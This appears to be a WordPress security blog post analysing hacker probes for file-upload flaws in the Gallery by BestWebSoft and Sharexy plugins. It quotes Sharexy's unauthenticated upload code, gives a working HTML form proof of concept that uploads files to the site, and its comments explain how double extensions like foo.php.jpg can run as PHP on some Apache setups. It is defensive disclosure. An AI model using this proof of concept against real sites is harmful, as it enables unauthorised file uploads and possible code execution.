20 Dec

Is a Hacker Targeting This Plugin Thinking It Has Vulnerability It Doesn’t?

One of the problems we sometimes run into checking over plugins that hackers look to be targeting is that hackers don’t always have a good understanding of what they are doing. We have seen in them trying to exploit vulnerabilities that don’t exist and trying to exploit vulnerabilities in a way that won’t ever succeed. The former issue can be caused by false or inaccurate reports of vulnerabilities released by others and the latter due to a lack of testing before trying to exploit them on other people’s websites.

Recently we had a request on this website for a file that would be located at  /wp-content/plugins/gallery-plugin/upload/php.php. That is a file that existed in older versions of the plugin Gallery by BestWebSoft. That would seem to be an attempt to exploit a claimed arbitrary file upload vulnerability in older versions of the plugin. Depending on how you define things, though, that wasn’t an arbitrary file upload vulnerability, as the extension type of the files that can be uploaded is limited to “jpeg”, “jpg”, “gif”, and “png”. In the proof of concept it shows uploading a file named “lo.php.gif”. Normally web browsers only pay attention to a file’s final extension, so even if you were to upload a file with PHP code and that file name, it wouldn’t run.

Our guess with that sort of thing is that usually someone trying to exploit that would be under the mistaken belief that you could get PHP code to run. It is possible that some people would be using that type of issue with the intention of uploading images files, as is reported to have occurred with the plugin WP Job Manager. This type of issue could also be combined with a local file inclusion (LFI) vulnerability.

Seconds before that request for a file from Gallery by BestWebSoft, a request from a different IP address made a request for /wp-content/plugins/sharexy/ajaxresponder.php. That file is part of the plugin Sharexy. That plugin was removed from the Plugin Directory sometime in 2015 between May 27 and September 24. No reason is given, but one possible explanation is violation of the developer guidelines, which was mentioned in the support forum for the plugin.

Looking at the contents of the file /ajaxresponder.php there are a number of actions that can be taken, which look like they were only intended to be accessed by user logged in as Administrators.

While a number of the actions involve passing data through the unserialize() function, which has the possibility of allowing PHP object injection and is a type of vulnerability that is highly likely to be targeted, we didn’t see any way those could be exploited.

Based on what looks to be targeted in the other plugin, what seems like it might be targeted is file upload functionality at the beginning of the file:

1
2
3
4
5
6
7
8
9
10
11
<?php 
	require_once('../../../wp-load.php');
	$data = array();
	if (!isset($_POST['request_type']) && !isset($_GET['request_type'])) {
		echo json_encode($data);	
		return;
	}
	if (isset($_POST['request_type']) && $_POST['request_type'] == 'customdesign') {
		$uploaddir = 'design/custom/'.$_POST['folder'].'/';
		foreach($_FILES as $file) {
			if(move_uploaded_file($file['tmp_name'], $uploaddir .$_POST['resolution'].".png" ))

That code allows anyone to upload files, but the file name on the web server will end “.png”.

If you see anything else that might be exploited or some way that upload issue could be exploited to add files with different file extensions, we would love to hear about it.

Wider Warning

Due to the fact that this issue might be being targeted by hackers, we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned if they are using Sharexy.

Proof of Concept

The following proof of concept will upload the selected file to /wp-content/plugins/sharexy/design/custom/test.png.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/sharexy/ajaxresponder.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="request_type" value="customdesign" />
<input type="hidden" name="folder" value="" />
<input type="hidden" name="resolution" value="test" />
<input type="file" name="tmp_name" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

3 thoughts on “Is a Hacker Targeting This Plugin Thinking It Has Vulnerability It Doesn’t?

    • For the first link, the relevant portion of that seems to be:

      If more than one extension is given that maps onto the same type of metadata, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the media-type image/gif and .html maps to the media-type text/html, then the file welcome.gif.html will be associated with the media-type text/html.

      Which is in line with we were mentioning about the last extension being the one that web server pays attention to.

      For the second item, it sounds like what you are referring hackers uploading uploading .htaccess files that cause other file extensions to be treated as PHP files, but in this case you couldn’t do that since you couldn’t upload a file named .htaccess.

      • It depends which configuration directive you are using but in some cases Apache will use a file extension even if it is not the final extension in the filename – in particular, I think this will execute files like foo.php.jpg as PHP:

        AddHandler php5-script .php

        This is (or at least was at one time) common in Apache configurations, no need for a hacker to be able to upload a .htaccess file – for example, Red Hat at one time used this in their default Apache configuration:

        https://bugzilla.redhat.com/show_bug.cgi?id=885839

Leave a Reply

Your email address will not be published. Required fields are marked *